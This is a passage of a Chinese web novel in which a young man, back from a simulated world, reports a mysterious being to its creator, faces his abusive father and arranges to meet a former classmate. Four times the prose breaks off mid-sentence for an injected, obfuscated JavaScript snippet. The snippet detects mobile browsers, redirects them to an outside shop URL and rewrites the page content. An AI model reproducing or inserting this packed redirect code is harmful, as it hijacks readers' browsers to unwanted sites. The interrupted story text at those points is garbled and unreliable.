她挂掉了电话,看着依然在电脑桌前忙碌的蔚迟野,说道:“方远韶在赶来的路上,想好怎么向他说明了吗?” 蔚迟野没有回答,只是一味在屏幕上检索着,头也不回。 柏汝恭轻轻叹息了一声,身子往椅子后面一仰,双臂抱住自己的后脑,一副放任的姿态,道:“算了,随便翻吧,如果对你待会的解释有什么帮助的话。” 她模样有些百无聊赖,待了一阵子,离开实验舱,去餐饮区为自己冲一杯咖啡。 椅子空了,就在蔚迟野的身后,屈身就能坐下去,可他根本无暇留意。 到底还有什么办法能把葛马揪出来? 就算已经知道了葛马的存在,但如果对方是无法被外界观测的存在,那么,这里没有人会相信蔚迟野已经找到了异常,他们会当他是胡诌了一个借口。 那样就太得不偿失了。他付出了这么多,独自一人,两次深入一个完全不同的世界,深入、再撤离,建立、再摧毁,结识、再斩断,这一路的颠沛流离,必须要称得上称心如意的结果。 必须得是一个成功的结果。 他已经知道了问题在哪,只要解决葛马,只要解决他的话…… 还有什么办法能在外界找到他的踪迹? 他试过放大地图,但无济于事。 将镜头聚焦在“杜光欧”最后存在的地方,那个圣殿之中,人们的动向清晰可见,董莉莉靠在一个柱子旁,夏未信被摄文士兵控制着,白熠在侧房里站着,而葛马本该存在的地方却是空无一人。 他就像是和他们不在一个维度一般,用外界的技术根本观测不到。 蔚迟野不相信样界中没有留下任何有关葛马的信息,既然他在样界中诞生,存在过,就不可能什么踪迹也没留下。 想想,再想想,到底还有哪里能够发现他的踪迹? 他去过的地方?太宽泛了。他做过的事?既然本人都无法被观测,那么,想必也不会有关于他事迹的任何记录。 那么,受他影响的人呢? 对了!如果他的存在影响过别人的生活的话,或许,在其他人的历史资料里面,能找到关于葛马的一些蛛丝马迹。 这么想着,蔚迟野打开了白熠的资料,他印象里,这两人暗中的交集并不少,白熠的档案里说不定有什么线索。 蔚迟野展开了白熠的历史资料,首先看到的是一个张图片,那上面是白熠的肖像照。而蔚迟野愣了一下,不是因为别的,而是因为这张照片上白熠的长相。 那是一个黑发的男人,短发干净利落,目光有神,脸虽然是白熠的模样,但是,比蔚迟野所熟知的那个人要更加开朗阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234900|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光一些。 下面,是有关这个人的生平描述。 白熠,出身贵族家庭,妻子克拉娜,子白祁。头脑聪慧,实力非凡,血皑武术大会上荣获第一,继承其父职位,一生受人敬仰。 蔚迟野皱眉,这段描述,和白熠真正的经历千差万别。 武术大会第一?受人敬仰?怎么可能,男人连活着都是那般苟延残喘。 这写的都是什么东西。难不成是谁瞎写的? 蔚迟野心怀疑惑,关闭了白熠的历史资料页面。上面似乎没有关于葛马的信息,他也没有时间多看。 还有谁,还有谁和葛马有交集? 蔚迟野心里出现了一个名字,他有点反胃,但还是在搜索框里输入了黎礼的名字,弹出了一个新的页面。 黎礼,原名黄礼。黄王之女,未清理的遗孤,高危人物。有异端倾向,需及时检测动向,有必要时,展开第二次歼灭。 蔚迟野皱眉。 “第二次歼灭”是指什么? ……算了,不重要,还是先找找有关葛马的信息。 简单往下略过,并未发现那个男人的名字,于是再度打开搜索框。 还有谁? 对了……还有他。 蔚迟野顿了顿,敲入了一个新的名字。 杜光遗,杜义与卞箩之子,血皑副城主,其父与二弟先后死去,其本人亦在与黎礼势力的抗衡中身亡。 开门的声音响起来,柏汝恭端着一杯咖啡走来进来,咚的一声,她将杯子放在桌面上,坐在桌台边上,翘起一条腿,盯着屏幕,说道:“在看你大哥的资料?” 蔚迟野紧闭着嘴,他原本想说,那不是他的大哥。他已经离开了样界,在那里的一切人际关系,都不应带回到这个世界中来。而且他们不是真人,把虚拟之人当成活人,岂不是太荒诞了。 他这么想着,但是,张了张嘴,却是什么都没有说出来。 “为什么……这些人的资料里,关于他们历史生平这一栏,和我所经历的都不一样?”蔚迟野向柏汝恭问道。 “……这不是很正常?”她抬起咖啡杯,轻轻地吹拂,在那上面掀起对于咖啡沫的滔天巨浪,“先前说过了,你的出现会改变一些历史事件,这个循环当然不会按照以往的路径发展。不过,等异常修复,样界进入下一个循环,没有你的存在,一切都会按照正常的世界线如期展开。” 蔚迟野盯着屏幕,冷淡的荧光在他的脸上照射,映照出一副有些惨白的模样。 如果……葛马死了,这些就会不断重复下去。 这些……死亡,这些痛苦,这些难解的恩怨,都会一遍遍循环往复,永无…… ——不,杜光欧,你在犹豫些什么,这不是一开始就知道的事情吗? 进入样界之前,就知道这是一个不断循环的世界。当然,里面的事情会一遍又一遍的发生。 那些个体都不是真实的人物。没必要纠结成这样。 ……等等。 他刚才叫自己什么? 男人抓乱了自己的头发,低下头去,陷入了一时的混乱。 252. 被迫终止2 柏汝恭转过键盘,在屏幕上敲了一个名字,点击搜索,一个新页面出现,“喏,这就是你,杜光欧,一个惨死异乡的王室。这世界上的大多事情,还没有来得及经历,就死在了一场远征之中。如果不是你进入样界干涉,那么,这就会是杜光欧的命运。” 蔚迟野抬起头来,盯着屏幕上的那个人。黑发、灰眸,一张总是看起来不太高兴的脸。一时间,一种疑惑在他的脑海里闪过,迷惘充斥着头脑,他下意识地认为那就是他自己。 就像在看照片里的自己一般,甚至会下意识思考拍摄的角度好不好,把人拍得怎么样。 但是,下一刻,蔚迟野便反应过来,那是和他完全不同的两个人。那个杜光欧在没有自己意志影响的前提下,会在样界中做出怎样的事情,将是完全不同的。 这感觉很奇怪,明明感觉是在看着自己,又或者,看着一个过分熟悉的人,但是,却要强迫自己理解成两个人。让他们变得陌生,主动剥离。他是他,自己是自己。 柏汝恭又是在屏幕上操作了一番,而后,一个女人的画像出现在屏幕上,那是一个拥有黑色卷发的女人,头发像是羊羔绒一样披在身上,她的眼睛明亮有力,像是一株不屈的艾草。 蔚迟野看着这个他熟悉的女人,只听柏汝恭在他身边开口。 “然后,这一位,想必你比我了解。”她推了推自己的眼镜,和蔚迟野一同注视着屏幕上的女人,说道,“她原先的故事,也十分得简单。她没有参与那次必死的远征,而是在血皑城里等待远征队长的归来。有件事,她终于下定决心要和他说。然而,一次次等来的,却是杜光欧的死讯。” 蔚迟野近乎是瞪着屏幕,陷入了迷思之中。 他盯着照片上的那个女人,一种想要到她身边去的想法冒出来,可又被他强行压了下去。 他不认为这种想法是正确的。它只不过是自己意识里的残留,作为蔚迟野,他不应该有这样的感受。 大概是因为刚刚脱离样界不久,所以还会受到一些影响。只要时间足够,不该存在的定将消湮。 于是,这么想着,他固执地盯着屏幕,和那种感觉做着斗争,等待它消亡的一刻。 柏汝恭咂了咂嘴,像是在回味嘴里咖啡的苦涩味道,“想想还挺不是滋味的。这样界里的人啊,我最心疼的就是她了。” 蔚迟野斜过视线,看着柏汝恭,“……心疼?” “是呀。那样一个开朗乐观的女孩子,只是想要简简单单爱上一个什么人,想要平平静静地生活,然而,却不能如愿。”柏汝恭说道。 蔚迟野沉默,盯着屏幕。 柏汝恭却突然道了歉,“欸,不好意思,我不应该在你面前说这些。” 蔚迟野疑惑,皱眉,“什么叫不能在我面前说?” “你会难过吧。她毕竟是你的……” 蔚迟野顿了顿,他感觉自己的睫毛在颤抖,脸部有些僵硬,他张嘴,听到下巴响起生涩的咯咯声,“……不,我没什么感觉。” 柏汝恭模样有些讶异,她凑过来,在侧面盯着蔚迟野的脸,“欸,怎么会呢,你是在乎她的,不是吗。这点只要看过你们故事的人都……” 蔚迟野突然拔高了声音,“那不是我的故事。” 柏汝恭一愣,眨了眨眼。 蔚迟野只觉得自己的呼吸有些不稳,他在否定的时候,总觉得身体里有种怪异的感觉,就好像生生从哪里切掉了一块,鲜血淋漓,“……我不是故事里的人。我不是他。” 这时候,实验室外传来了一阵嘈杂。 一个雷厉风行的脚步声传来,几乎是在听见那脚步声的同一刻,那人的身影就已经出现在了门口。 一个高大的男人站在透明的舱室外,他还年轻,大约三十的模样,身材修长。他的脸十分标致,额头光洁,一缕不受管束细发垂在眼前。只是当下,那张脸上是严肃的表情,几乎有些不怒自威。 男人拿指关节轻轻敲打了两下玻璃,然后便收回手,等待别人来给他开门。 “他来了。”柏汝恭轻声说。 然后,女人起身,来到透明舱室的门前,为男人开门。 走进来的人,是样界的创造者方远韶。他像是在巡视自己的领地一般,沉默地看过每一个角落,而后,鹰一般的视线落在了蔚迟野的身上。 还未等男人说些什么,又是一个脚步声匆匆而来,与此同时伴随着响起的还有实验员的惊叫,“等——蔚先生,请您慢些跑,这里都是精贵的仪器!” 又一个身影出现在透明舱室的门口,气势汹汹朝里面走来。阴影在男人的脸上闪过,露出和蔚迟野相仿的苍劲面容来。 蔚统挤进了透明舱室,盯着屏幕前面的蔚迟野,厉声问道:“这是怎么回事?我听说异常弹出了,那是什么意思,问题有没有解决?” “……”蔚迟野只是用沉默的侧脸冲着他们,不发一语。 柏汝恭看了蔚迟野一眼,像是要打圆场一般,说道:“你刚才在系统里面搜索了一些东西,应该是已经发现了异常点的所在吧?” 蔚统皱着眉,大声对儿子说道:“既然发现了问题,那就赶紧说出来!向方先生汇报。” 一旁,方远韶微微仰起头来,打量着不言语的实验者。这个经常只用虚拟映像出席会议的人,此刻以真身出现在了这里,看来他很看重这次实验的结果,“无法修复异常的话,报上异常的具体情况也可以,后续或许就不用你管了。” 蔚统听了,压低了声音,两只手攒拢在一起,模样讨好,“方先生,那后续要是不用我家孩子协助的话……这种情况,还算他通过了试炼吗?” 方远韶瞥了蔚统一眼,冷峻的侧颊微动,道:“算。” 得到了方远韶的肯定,蔚统先是笑着,谢过方先生的好意。但是,当他转过身来盯着蔚迟野时,那眼里的情绪已然天翻地覆,“方先生都说话了,你还闭着你那张嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245511|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等什么呢?!” 蔚迟野看了自己的父亲一眼。其实,他早就想开口了。 把葛马供出去,让方远韶来解决他。这样,这次实验便结束了,他也不必再纠结怎么解决葛马,那将不是他的使命。 而样界即将发生什么,也和他无关。他会得到自己想要的,在那个虚幻的舞台上悄然离场。 葛马将他驱赶了出来。这种行为,反而会导致真正的噩梦降临那片大地。 真蠢啊,葛马。 是不是以为自己成功了? 绝对不会想到那是将所有人都推向万丈深渊的一举吧。 简直蠢透了。 蔚迟野如此想着,突兀地笑了起来,笑容里有一丝悲怆。 ——而现在呆站在这里,什么都说不出口的我也是个蠢货。 “你笑什么,还不快回答人家!”蔚统上前来,指着蔚迟野的鼻子,凶狠地说道,“就因为你是个天生的废物,考试怎么也考不好,最后竟然给我差了五十多分!要不是方先生提供给你这么一次机会,只要完成了试炼,就能去亚森学院上学,不然的话你连学都没得上!还愣着干什么,把你知道的全部都告诉人家!” 蔚迟野抿了抿嘴。听完蔚统的话,只觉得胸口有一股低压的气焰。 他的父亲怎么能这么羞辱他? 自己不是他的儿子吗? 一位父亲,不应该像血皑城的老城主那样,在一个温暖的壁炉前耐心地开导自己的子嗣,给予他们绝对的自由,支持新生之人探索性的决定,像大海一般容纳后代的荒唐想法吗。 而此刻,他眼前的男人哪是什么无垠的大海,只不过是一道阴暗的沟渠罢了。 “为什么要对我说那种话,父亲?”蔚迟野盯着蔚统,目不斜视,盯着那双愠怒的眼睛,丝毫没有闪躲。他暂且放下了样界的事,打算和自己这个父亲好好唠唠,“说我是废物,可又是你生了我,那父亲你是什么?” 蔚统的眼睛越睁越大,直到眼珠子几乎都要整个掉出来。他像是不敢相信自己听到了什么一般,脸色僵硬,轻声问:“你说什么?” “我说,既然我是废物——” 没等儿子说完,蔚统两步上前,一把拽过蔚迟野的衣襟,凭借身高的优势,几乎将他提了起来,“你再说一遍?” 一旁,柏汝恭劝阻道:“蔚先生……!他刚从样界中脱离,身体正虚弱,精神也不稳定,给他一点时间和耐心。” 蔚迟野冷淡地盯着自己的父亲。对方缓缓将他放了下来。而蔚迟野知道,那绝对不是出于什么好意,只是因为这里人太多,不方便动手罢了。 “再让我听到这种话,就打断你的腿。”蔚统黑着脸警告道。他用手推了一下儿子的胸口,问他,“你到底还能不能说了。” 蔚迟野靠在工作台的旁边,视线越过自己的父亲,向方远韶的方向投去。他斟酌了半晌要不要供出葛马,但这样的纠结只持续了一瞬间。 253. 被迫终止3 那毕竟不是现实的世界,但他真实的生活还要继续。如果没有大学可上的话,将来的前程只会无比凄凉。 想到这里,蔚迟野垂下视线,开口说道:“在这个样界里,有一个名叫葛马的个体。外界观测不到,搜索也检索不到。但我确定,那个人就是样界异常的关键,我的真实身份似乎暴露了,所以对方将我驱逐了出来。” “真实身份暴露了?”方远韶皱眉问道。 “是,他应该知道了我不是属于样界的人。” 方远韶表情凝重,思索了半晌,“……如果真是这样,再派你进样界是不可能了。” 蔚迟野扬了一下眉毛,没表达什么意见。 “有‘葛马’这号人吗?”方远韶干脆地转头,朝柏汝恭问。 柏汝恭摇摇头,“这个名字没有记录。” 方远韶又回过头来问蔚迟野,“这人有什么特征?” “红发,绿眼,眉目深邃,身高一米八上下。”蔚迟野说道。 话很多,乐天派,总是和他那鹿皮斜挎包形影不离,活了几千年也没个正经样子。 但这些更主观的印象,他没有透露。 “……西索人?”方远韶发出疑惑的声音,但是,他很快否定了他自己,“不,西索人不在这个样界循环的范畴里。你确定见到过这个人种?” “起码,他让我看到的样子就是这样。”蔚迟野道。 方远韶沉默片刻,打量了一番对面的人,严肃的脸上露出一丝怀疑的表情,问道:“真有这号人?” 蔚迟野心想,这些人果然不信。 “有啊。”他说,“不过,这个个体没法被外界观测,只有进入了样界,才能见到他。” “……”方远韶盯着蔚迟野,像是在观察他的表情,想要从他的脸上看出他是否在说谎一般。 而蔚迟野也回视着这个英姿不凡的男人,一种莫明奇妙的心理逐渐占据了上风。 不是说,只要报出异常的具体情况,之后就不用他管了吗? 他到是想看看,这个方元韶究竟打算怎么做。他有什么办法,能在外界完全无法观测的情况下,找到葛马,并“解决”他。 蔚迟野自己也没意识到,他现在几乎有一种看好戏的心态。 这时候,蔚统说话了,质问自己的儿子,“你进去了那么久,就是调查出来这么一号人?” “这已经很不容易了,父亲。“蔚迟野说道,蹙眉抿嘴,显出一副不耐烦的模样,“我一点信息都没有,就那么进入了样界里,能把关键异常点找出来,已经很不错了。” 方远韶看向柏汝恭,似乎已经不再纠结于实验者话语的真实性,转而向实验的主要负责人问道:“无法观测到的人,有办法从外部消除吗。” 柏汝恭却面露难色,“不简单。” “内部呢?”方远韶向蔚迟野问。 蔚迟野回想了一番那个红头发的男人是如何的难对付,连杀都杀不死,于是耸耸肩说道:“也不简单吧。我也不太清楚。” 蔚统皱眉,大声斥责,“你这是什么态度?” 蔚迟野偏过头去,盯着电脑屏幕不回话。 “……”方远韶沉默了半晌,向空中浮动的那个巨大的三维投影看去,目光凝重,侧脸看起来有种不合时宜的专情。 柏汝恭叹了一口气,回到她的办工桌前,边在电脑上操作边说道:“我叫创生部的人看看吧。” 方远韶沉吟了一声,“先这么做。” 他说完这话,似乎有了离开的打算。见此状,蔚统连忙跟了上去,“方先生,那关于我们之前说的院校资格……” “问题还没有解决。”方远韶脚步如风,来得快,去得也快。他边走边说,“可能会再派其他实验者进入样界。在确认蔚迟野所言非虚之前,蔚先生,你我的合约还不能算完成。” 蔚统追在方远韶的屁股后面,与他一同离开了透明舱室,“是,是。这我明白。那后续……” 两人的声音消失在了门外,这个圆柱形的透明舱室里面又只剩下蔚迟野和柏汝恭两人。 柏汝恭打了个电话,内容大致和她刚才提到的创生部有关。结束通话后,她开在电脑前操作些什么,似乎是在处理此次实验的数据,冷色的眼镜片反射着电脑屏幕的光晕,她那么操忙了一阵子,突然,头也不转地问道:“现在他们都不在了,告诉我,你是在说谎还是什么?” 在方远韶和蔚统走后,蔚迟野的神经也放松了下来。他坐回休眠舱上,有些疲惫地弯着腰,“我没有说谎,的确有这么一个个体。上次离开样界之后去西二会议室开会,方先生不是也强调过,让我寻找的是外界观测不到的东西吗?” 柏汝恭又敲了些代码上去,而后,她摇摇头,“但不应该一点蛛丝马迹都发现不了吧……” “或许你们对于样界的研究,并没有自己以为的那么成熟。”蔚迟野说道。 柏汝恭摘下眼睛,揉了揉鼻梁,“你确定那人是样界偏移的关键?” “我在样界里待了很长时间,知道什么是正常的,什么不正常。而那个个体,绝对和正常沾不上边。”蔚迟野说道,“他的记忆不受循环的重置影响,肉|体也不受自然法则的约束。” “听起来确实有问题啊。”柏汝恭道,把眼镜戴回去,抻了个懒腰,“唔……看来,只有等方先生再派人进去,才能弄清楚具体是怎么回事了。” “……你觉得……”蔚迟野突然发声。 “什么?”柏汝恭没太听清,问道。 蔚迟野抬起头来,看着面前的女人,问道:“你觉得方先生会怎么处理葛马这个个体?” “不知道。”柏汝恭说道,她想了想,补充,“不过无非就是消除他的存在,或者把他赖以生存的环境都毁了呗。” “这样啊。”蔚迟野说,垂下眼睛,盯着一个没有一丝尘埃的角落。 “没关系。到时候,你回避就好了。”柏汝恭说道。 “我有什么需要回避的。”蔚迟野不以为意地说,将两只拳头交握在一起。 柏汝恭耸了耸肩,“如果我们解决了异常,那意味着样界将继续循环下去。你所经历的所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257885|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,都将化成泡影,只有你一个人还记得。” “这无所谓。”蔚迟野说道。 柏汝恭盯着他,那镜片下面的眼睛明亮,有种探究的意味,“真的无所谓?你看上去没那么无所谓。” 蔚迟野皱着眉,说道:“那个世界已经和我没关系了。” “你是这么认为的。”柏汝恭道。 “不是我如何认为,事实就是这样。”蔚迟野道,两只拳头更紧地握在一起,“为了维系我在样界中的精神稳定,程序对我的意识进行了加工,对吧?而我现在已经离开了样界,它对我意识的影响也在渐渐消失,要不了多久,就能完全恢复正常了。” 柏汝恭困惑地打量了一番眼前的实验者,说道:“你在说什么呢,什么加工……” 蔚迟野解释说:“就是为了让我的意识稳定,而在我脑海里施加的催化剂,让我能切实地投入——” “啊?”柏汝恭发出疑惑的声音,“我不记得有这么一道工序。让你的意识进入样界已经是高风险操作了,怎么可能在这个基础上再施加什么催化,那才会导致你精神崩溃呢。” 蔚迟野眨了眨眼,只觉得眼睛有些干涩,“我是说,人类想要完全融入一个虚拟的世界是不可能的。想要做到这一点,必然需要一些强制的催眠手段。” “什么虚拟世界?” “我是指样界。”蔚迟野解释说,他咳嗽了一声,感觉嗓子也有些干哑,那让他说话有些艰难,“对那些个体强烈的感情也是一样的道理,肯定是在什么的催化之下才会产生。柏姐,或许有什么你不知道的——” “你干嘛一直‘个体’、‘个体’地称呼那些人?”柏汝恭的眉眼有些严肃,打断了他,“他们是人,你对他们有感情不是很正常?” “我的意思是,那些感情太真实了。”蔚迟野挥舞自己的手臂,尽力解释,想让对面的人明白他的意思。指尖有些冷,踩在地面的脚也有些冻得发麻,不知为何,热量好像在从身体里急速地抽离,“按理来说不应该是那样,那不对劲。” “怎么就不对劲了。”柏汝恭突然有些好笑地看着他,一只手拄着自己的脸,穿着白长裤的腿一条翘在另一条上面,“难道你要说,样界里发生在你身上的事,都不是真实的?” “当然不是。”蔚迟野说道。否定的一瞬间,他感觉胃里一阵翻腾,有点恶心得想吐,他把这种感觉归咎于实验刚刚结束产生的不适,“那只是一些残留在我脑海里的数字画面。” “我不懂你在说什么。” “你就理解成,那些经历属于‘杜光欧’,并不属于我。” “但你就是杜光欧啊。” 透明的舱室安静了片刻,只剩下电脑运转的嗡嗡声。 舱室外,实验员的身影来回走动着。 蔚迟野抱紧了自己的身体。 太冷了,怎么会这么冷?手脚都冻得发疼。 可是喉咙和胃部却焦灼,让人难受至极。 脑袋里也昏昏沉沉,思绪笨拙地粘滞在一起。 他觉得自己可能是病了。 254. 女友许嫣然1 “我不是他。”蔚迟野忍着全身的不适,咬牙低声说。 “……”柏汝恭沉默了片刻,再度转向电脑屏幕,她没操作什么,而是喝了一口咖啡,抱着那逐渐冷却的咖啡杯,她说,“你第一次进入样界的时候,主人格被压制,样界人格主导,你完完全全是作为杜光欧活着的。” “但我不是他。” “你们的经历都一样。”柏汝恭说,“从出生开始,你所做的所有事、所有选择,杜光欧原本也会做。你们是同一个人。” “不是。”他否认。 柏汝恭轻轻叹了口气,指节在桌面上敲打了几下,模样似在思索。 这时,有实验员轻轻敲开了舱室的门。 “柏主任,方先生让先处理实验后续事宜,请实险员离开。” “我知道了。”柏汝恭回应道。 女人的视线落回蔚迟野的身上,她犹豫了一下,对他说:“先回去休息吧。过几天,我们可能还会因为样界实验的事情找你,到时候会给你父亲打电话。” “……好。”蔚迟野有些麻木地站起来,驱动着冷硬的双腿,从透明的舱室里走了出去。他感受到柏汝恭的视线一直在跟随着自己,但他没有回头。 坐电梯下到一层,离开实验大厦的大门,清新的空气窜入鼻翼,他这才感觉到身体的不适消失了一些。 一辆黑色的私家车在接客区等候,驾驶室门外站着一个戴着墨镜的男人,叼着一根快烧没的烟,下半张脸十分坚毅,屁股下巴相当惹眼。 又是他,蔚迟野心想。上次离开样界回家,就是这个爱抽烟的司机送他。还有以前需要用车的时候,也都是他。 周围只有这一辆车,看来蔚统早就离开了。 蔚迟野上了私家车,烟味呛得他咳嗽了两声,本来嗓子就火烧一样,现在更是要爆炸了。 “下次能别抽烟了吗?”他冲刚上车的司机说。 戴墨镜的男人有些意外,“嗯?我以为你喜欢烟味。” “……我什么时候那么说过?” “你没说过。”司机道,“可你从来也不怎么说话。” “我不喜欢。” “好了,现在我知道了。”司机把烟头扔了出去,启动车辆,“那就出发?” “嗯。” 车子平缓地行驶在道路上,现代化的熟悉景色映入眼帘。 闪过的街景冲淡了一些复杂的情绪,体温渐渐回暖,胃里也没那么难受了。 蔚迟野回到了自己的家中。 偌大的厅堂空空荡荡,父亲不在家,母亲不在家,弟弟不在家,只有自己一个人,以及一些眼生的钟点工。 他回到自己的房间里,把门锁上,感觉十分疲惫,栽进床铺里,身体已经不动了,但是大脑还在不停地运转。 他还对舱室里发生的事耿耿于怀。 他怎么……就那么把葛马供了出去? 方远韶会做什么?他会怎么消灭那个红发的西索人?还是说,不存在什么消灭不消灭,他会找到一种谁也想不到的方式,让“葛马”这个问题彻底消失? 不……为什么是方远韶来解决这个问题。明明一开始被派进样界里的人是自己,要做一个了结,也应该是自己去做才对。 明明之前已经打算再也不管了,但是越想越不对。如果将样界一行比作一个勇者游戏,他都快通关了,最终BOSS却不是由他来打败,这对吗? 葛马把他驱逐出来了,现在他想做什么都做不到。居然被世界的力量所排斥,没有任何反抗的可能,这种事他从来没有想过。 ……下一个不速之客进去的时候,葛马还能做到吗?他还能把外来者驱逐出去吗? 千万要做到。这样,方远韶他们黔驴技穷、束手无策,说不定还会再派自己进去解决葛马。 等等,他到底在想什么…… 他可不想再回去了。 “……” 胃里又有翻江倒海的趋势,他赶忙在床上翻了个身。 没错,他只是觉得,自己没有解决的问题,别人也不应该那么轻松解决。 自己两次进入样界,都没有处理掉循环的异常。要是后来随随便便进去一个人,借他的光轻轻松松解决了问题的话,不就显得自己太没用了吗? ——葛马,你千万别那么轻易就死了。 “唉……” 蔚迟野又在床上翻了个身,紧皱着眉。他告诉自己别再想这些了,但是,脑海里的思绪就是停不下来。 叮铃铃—— 放在床头柜充电的手机响了起来。一时间,他甚至没有分清楚那究竟是闹钟还是电话铃声,他已经太久没有使用现代的产物。 实验大厦内部不能携带自己的手机,上次接起谁的电话,好像已经是上辈子的事情了。 他晃了晃脑袋,出了口混浊的气,起身,把手机从电源线上拔了下来,抓过来,看着屏幕,那上面的名字是一个女人的名字。 看着那个名字,一些高中时期的回忆这才窜入脑海。 可能是因为受到那个虚拟世界的影响,许多现世的记忆被深埋底部,只有被一些事物触发的时候才会回想起来。 打来电话的是许嫣然,那是他的高中同学,是班上公认最好看的女孩。他们认识两年,总是一起学习,每天都有联系,几乎形影不离。 高三结束之后,蔚迟野没能考上亚森学院,父亲找到了样界实验这一条路,于是,这个假期蔚迟野一直在实验大厦呆着,和外界几乎断开了联系。 好像已经很久没有和许嫣然说过话了,蔚迟野心想。但其实时间只过去了一个多月。 他接起电话,以沉默应对,等待对面的人先开口说话。 对面传来温柔的音色,“迟野,我听说实验结束,他们放你出来了,就想着打一个电话给你。” 女孩的声音唤醒了更多的记忆。蔚迟野想起来,自己好像和这个许嫣然的关系并不简单,在高中那段时期的记忆里,除了课本上密密麻麻的知识以外,几乎全都是这个留着长发的苗条女孩。 他和她是什么关系? 蔚迟野简单回忆了一番,而后,得出了一个答案。 朋友以上,恋人之下。 “嗯,我出来了,嫣然。”蔚迟野说道,他有些讶异,自己的声音居然如此沙哑,弄得好像是刚出狱一样。他咳嗽了一声,又说道,“……你这阵子怎么样?” “选校的事,爸给我安排好了。”对面的声音顿了顿,说道,“抱歉,迟野,我可能不能在市里上学了。” 蔚迟野搓着手里的衣料,他用平稳的声线问道:“新学校在什么地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265970|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方?” “南边,回市里要两个小时。” “那也不是很远,我们依然可以每天见面。”蔚迟野说道。 两个小时的距离,放在以前,或许会觉得很远,但是,在经历过了那么多年的跋山涉水之后,也不过是…… 想到这里,他捂住了自己脸。 ——蔚迟野,那不是你的经历。 他对自己如此说道。 两小时的距离很长,非常长,每天见面的话,意味着往返四小时的路程。他不可能让女孩子奔波,所以,这四个小时都是属于他一个人的奔忙。 每天四个小时,一周二十八个小时,一个月一百二十个小时,一年一千四百六十个小时。换算成天,他一年要花六十天——也就是六分之一,睡觉的时间都已经占去了六分之二——的时间在路程上,以来维系这一段关系。 但是,女孩的脸渐渐在他的脑海里变成了彩色的,他想起她如花一般绽开的笑容,想起他们毕业之前日日相见的约定,似乎,这一切又不那么艰难了。 分离只是暂时的,只要终有可以相聚的一天,那么就值得为此奔波。 “迟野,你会来每天看我的吧?”对面,女孩的声音传来,“我……想天天看见你。这一个多月没有见到你,我已经很难过了。” 脆弱的声音透过手机传来,机械的声音没有弱化它的纤柔,反而给她的声音掩上了一层虚幻的柔美。蔚迟野感觉体内的某处一阵泛酸,他在一种无法抗拒的情绪之中,应道:“嗯,我每天都会去看你。” “我现在就想见你,你能来找我吗?”对面,女孩再度要求道。 “好,你在哪?”蔚迟野问。 “我就在家。”女孩回答。 “我很快过去。”蔚迟野道。 “我等你。” 挂了电话,蔚迟野下床,去浴室洗了个澡,出来之后打开了衣柜。 时隔这么长时间再次见面,他下意识地想给对方留下一个好印象。 可是看着那些灰白相间的衣物,他皱着眉翻找了许久,却挑不出一套满意的搭配。 自己曾经怎么会穿这些东西?这些没品的……暗淡的…… 穿上之后怎么看都会沦为芸芸众人,为什么以前钟爱穿这些一点设计感都没有的衣服? 他勉强从里面找出来一套记忆里爱不释手的棒球衣和收腿裤,套在身上,在镜子前转了一圈,然而,却没有感觉到曾经那种雀跃的自赏之情,只觉得怎么看,怎么怪。 他盯着自己的脸,对着镜子说道:“嗯……这张脸不适合这种搭配。” 又开始翻箱倒柜,好不容易翻到了一件看起来还不错的白衬衫,上面有深红色的烫纹,袖口平整,剪裁得体。他曾经不喜欢这件白衬衫,认为它太正式,正式里又有一些不妥当的花哨。 然而,此刻,他却觉得它刚刚好。他把它套在身上,光腿站在镜子面前,用手指虚挡住下半身的视野,想象穿一条怎样的裤子才能搭配得当。不久,一个想法在他的脑海里成型。 他挑了一条黑色的裤子,它看上去是牛仔的面料,但是摸上去是棉麻制成的,黑色里面掺杂着一些浅红色的线条,裤腰上别着简约的暗金色装饰。 他将它套上,在镜子前看了一圈。 总觉得还少了些什么。 255. 女友许嫣然2 穿上马丁靴,稍显拖沓,看上去有点像路边洗车的。 换上板鞋,清爽了一些,只是不太能撑起来衣服和鞋子。 